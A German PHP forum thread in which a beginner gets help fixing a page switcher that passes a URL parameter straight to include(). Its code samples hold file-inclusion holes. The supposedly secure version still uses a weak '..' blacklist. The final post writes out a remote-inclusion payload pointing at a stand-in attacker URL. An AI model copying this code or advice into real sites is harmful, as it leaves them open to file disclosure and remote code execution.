Webseiteninhalt sicher per Variable includen

M

Merbi

Mahlzeit,

also ich habe eben eine E-Mail erhalten in der stand das eine Homepage die ich erstellt habe unsicher ist. Nun wurde ich auf diesen Code aufmerksam gemacht:

PHP:
$error = false;
if( empty($_GET['seite']) ) {
    $_GET['seite'] = 'news/index';
}
if( strpos($_GET['seite'], '..') !== false ) {
    $error = true;
}
if( !$error && ($absPath = realpath('html/'.$_GET['seite'].'.html')) !== false ) {
    readfile($absPath);
} else if( !$error && ($absPath = realpath('php/'.$_GET['seite'].'.php')) !== false ) {
    include $absPath;
} else {
    readfile('html/error.html');
}

Nun habe ich diesbezüglich ein paar Verständnisfragen.
Wenn ich das richtig verstanden habe ist "seite" die Variable über die ich im Menü jeweils den Inhaltwechsel machen kann. Die kann ich ja beliebig ändern.

Nun verstehe ich Sinn und Zweck von den ganzn Pfaden nicht bzw. wie ich das umändern muss wenn bei mir alles im selben Verzeichnis liegt.

LG Daniel

P.S. Sry für den dämlichen Thread-Titel :-(
 
Wenn du im Link das Template / die HTML stecks is das ganze unsicher weil man so auch an andere Dateien und evtl. Passwörter kommt. Du kennst deine Verzeichnisstruktur.

Ruf doch mal eine deiner Seiten auf und gib dort wo sonst sowas wie "home/welcome.htm" oder so steht etwas anderes an z.B. "index.php" oder ".htaccess" whatever.

Ziemlich schlecht hier zu sagen wie du es bei dir einbaust wenn kein Code von deiner Seite vorliegt und keine Übersicht über die Verzeichnisse etc.
 
Wenn du im Link das Template / die HTML stecks is das ganze unsicher weil man so auch an andere Dateien und evtl. Passwörter kommt. Du kennst deine Verzeichnisstruktur.

Ruf doch mal eine deiner Seiten auf und gib dort wo sonst sowas wie "home/welcome.htm" oder so steht etwas anderes an z.B. "index.php" oder ".htaccess" whatever.

Ziemlich schlecht hier zu sagen wie du es bei dir einbaust wenn kein Code von deiner Seite vorliegt und keine Übersicht über die Verzeichnisse etc.

Im Moment habe ich alle PHP Dateien der Seite im Ersten Verzeichnis der Seite bei jeder Homepage die ich bisher gemacht habe. Bilder und Stylesheets liegen dann in Unterordnern.
Ich möchte nicht so gerne hier die Links reinposten weil dann ja auch jeder sehen könnte welche Seite unsicher ist.

Im Moment geht es mir hallt dadrum einfach nur den Inhalt per Menü dynamisch ändern zu lassen.

Mein bisheriger Code:

PHP:
		<?php
	$id = $_GET['id'];
	if (isset($id) && file_exists($id)) {
		include($id); }
	else {
		include("startseite.php"); }
	?>

Link sahen wie folgt aus:

Code:
<a href="index.php?id=dateiname.php">Link</a>

Nun bekam ich hallt die Mail das die Seite unsicher ist und habe garkeine Idee wie ich es anders umsetzen kann da für mein Wissen schon dieses kleine COdeschnipsel schwer war und ich es eher durch Hilfe im Internet so bekommen habe.

Dann wurde ich auf einen Thread hingewisen in dem der Code den ich vorhin gepostet habe stand.
Nun weiß ich nicht ob ich ihn irgednwie umprogrammieren kann.

LG Daniel
 
Mit dem von dir geschriebenen Script kann man jede beliebige Datei von deinem WebSpace erreichen, wobei die Ausgabe evtl. kleine Fehler haben wird. Wenn man ein Verzeichnis zurück gehen möchte gibt man einfach index.php?id=..andere_datei.php an und schon wird die geladen.

Das Script aus dem anderen Thread prüft und verhindert das. Hier nochmal leicht abgewandelt für deine Seite.
Zuerst wird geguckt ob jemand versucht auf ein höheres Verzeichnis zuzugreifen.
PHP:
if( strpos($_GET['id'], '..') !== false ) {
    $error = true;
}
Dann wird entsprechend drauf reagiert. Zunächst der Normalfall:
PHP:
if( !$error ) {
    include($_GET['id']);
}
Dann die Ausnahme
PHP:
else {
    readfile('error.html');
}

Und ich empfehle die Extension .php erst im Script anzuhängen.
Lass das obige Script auch erst nochmal prüfen.
 
Also wenn ich es richtig verstand habe muss ich den Code wie folgt schrieben:

PHP:
	<?php 
	if( strpos($_GET['id'], '..') !== false ) {
    	    $error = true;
	}  
	if( !$error ) {
    	    include($_GET['id']);
	}
	else {
    	     readfile('error.html');
	}   
        $id = $_GET['id'];
        	if (isset($id) && file_exists($id)) {
        include($id); }
        	else {
        include("startseite.php"); }
        ?>

Die Verlinung sieht so aus:

HTML:
<a href="index.php?id=dateiname">Link</a>

Dann verstehe ich das mit der Extension .php so das du meinst ich lasse die Dateiendung .php aus der Verlinkung raus und hänge sie per Script an?

Jetzt bleiben noch ein paar Fragen offen.

Ich verstehe nicht wie ich die Extenson anhängen soll.
Ebenfalls wüsste ich gerne wie ich das fertige Script auf die Sicherheit prüfen kann und eine Frage zur error.htm.

Kann ich die Datei einfach gestalten wie ich lustig bin?

Tausend Dank und schönen Abend

Daniel
 
Ja "error.html" kannst du nach Lust und Laune gestalten.

Die Extension fügst du wie bei jedem anderen String einfach hinten an:
PHP:
$_GET['id'] . ".php"

Hier dein aktuelles Script mit Kommentaren:
PHP:
    <?php 
    // prüfe ob jemand versucht auf einen anderen pfad zuzugreifen
    if( strpos($_GET['id'], '..') !== false ) {
            $error = true;
    }
    // trat ein fehler auf?
    if( !$error ) {
            // nein: die gewünschte datei laden
            include($_GET['id']);
    }
    else {
             // ja: fehleranzeige machen
             readfile('error.html');
    }   

    // id in variablen speichern
        $id = $_GET['id'];
    // ist die id gesetzt und existiert die datei?
        if (isset($id) && file_exists($id)) {
        // ja: die gewünschte datei laden
        include($id); }
            else {
        // nein: zur startseite gehen
        include("startseite.php"); }
        ?>

Erkennst du das hier ein logischer Fehler vorliegt?
Zuerst prüfst du ob jemand die Sicherheitslücke umgeht und handelst entsprechend.
Darauf folgt eine if der es Sch...-egal ist und trotzdem die Datei lädt. Also muss der letzte Teil weg.

Wenn du Spaß an PHP hast lies dir doch mal die ersten Seiten von einem einfachen Tutorial durch. ;) Die helfen hier auch einiges.
 
Zuletzt bearbeitet:
Ich werde mir auf jedenfall Tutorials ansehen um es zu lernen nur sollte vorher die Seite sicher sein bevor jemand wirklich den Fehler ausnutzt.

Leider gibt es so Leute ja.
Ist das Script am Ende jetzt so wirklich sicher/fertig oder soll ich den Fehler da raussuchen?

LG Daniel
 
Ok. Ich geb dir die Lösung, da du versprichs ein kleines Tut zu lesen.
Das hier ist wirklich nur mit Logik verbunden.

Deine Variante:
  1. Gucken ob Fehler drin ist und entsprechend handeln
  2. Nochmal Includen egal was ist (alt)

Merkst du es? ;) Hast dein altes "unsicheres" Script außerhalb. Das is als ob du eine Schutzweste neben dich hinlegs. So sieht es aus wenn man sie anzieht:

PHP:
<?php 
    // prüfe ob jemand versucht auf einen anderen pfad zuzugreifen
    if( strpos($_GET['id'], '..') !== false ) {
            $error = true;
    }
    // trat ein fehler auf?
    if( !$error ) {
            // nein: wie gewohnt handeln

            // ist die id gesetzt und existiert die datei?
            if ($_GET['id'] != "" && file_exists($_GET['id'] . ".php")) {
              // ja: die gewünschte datei laden
              include($_GET['id'] . ".php");
            } else {
              // nein: zur startseite gehen
              include("startseite.php");
            }
    }
    else {
             // ja: fehleranzeige machen
             readfile('error.html');
    }
        ?>
 
Echt Tausen Dank für alles.
Da habe ich die Sorge nicht mehr.
Nen Freund hat sich mal Lernhefte für PHP und so gekauft und da ich mit den Heften zum Thema HTML und CSS von der selben Firma gut lernen konnte werde ich mir die mal leihen:)

Aber Hauptsache keinen Stress mit den aktuellen Seiten die schon Online sind.

LG Daniel
 
Guten Morgen.

Bin grad wach geworden und denk wie immer über alles nach was ich gestern gemacht hab und krieg erstmal ein Schock :D Ok, kein Schock mir fiel nur was auf.

Wir haben in deinem Script
PHP:
include($_GET['id'] . ".php");

Sieh bitte nach ob allow_url_fopen deaktiviert ist in deinen PHP-Einstellungen.
Sonst kann man deine Seite aufrufen mit
Code:
?id=http://www.angreifer-url.tld/angreifer_script
Und dadurch auch alles über deine Seite herausfinden, da durch das allow_url_fopen auch Scripts von anderen Seiten so behandelt werden als wären sie im gleichen WebSpace - kurz: Sie dürfen dann alles.
Also:
allow_url_fopen ausschalten
 
Zurück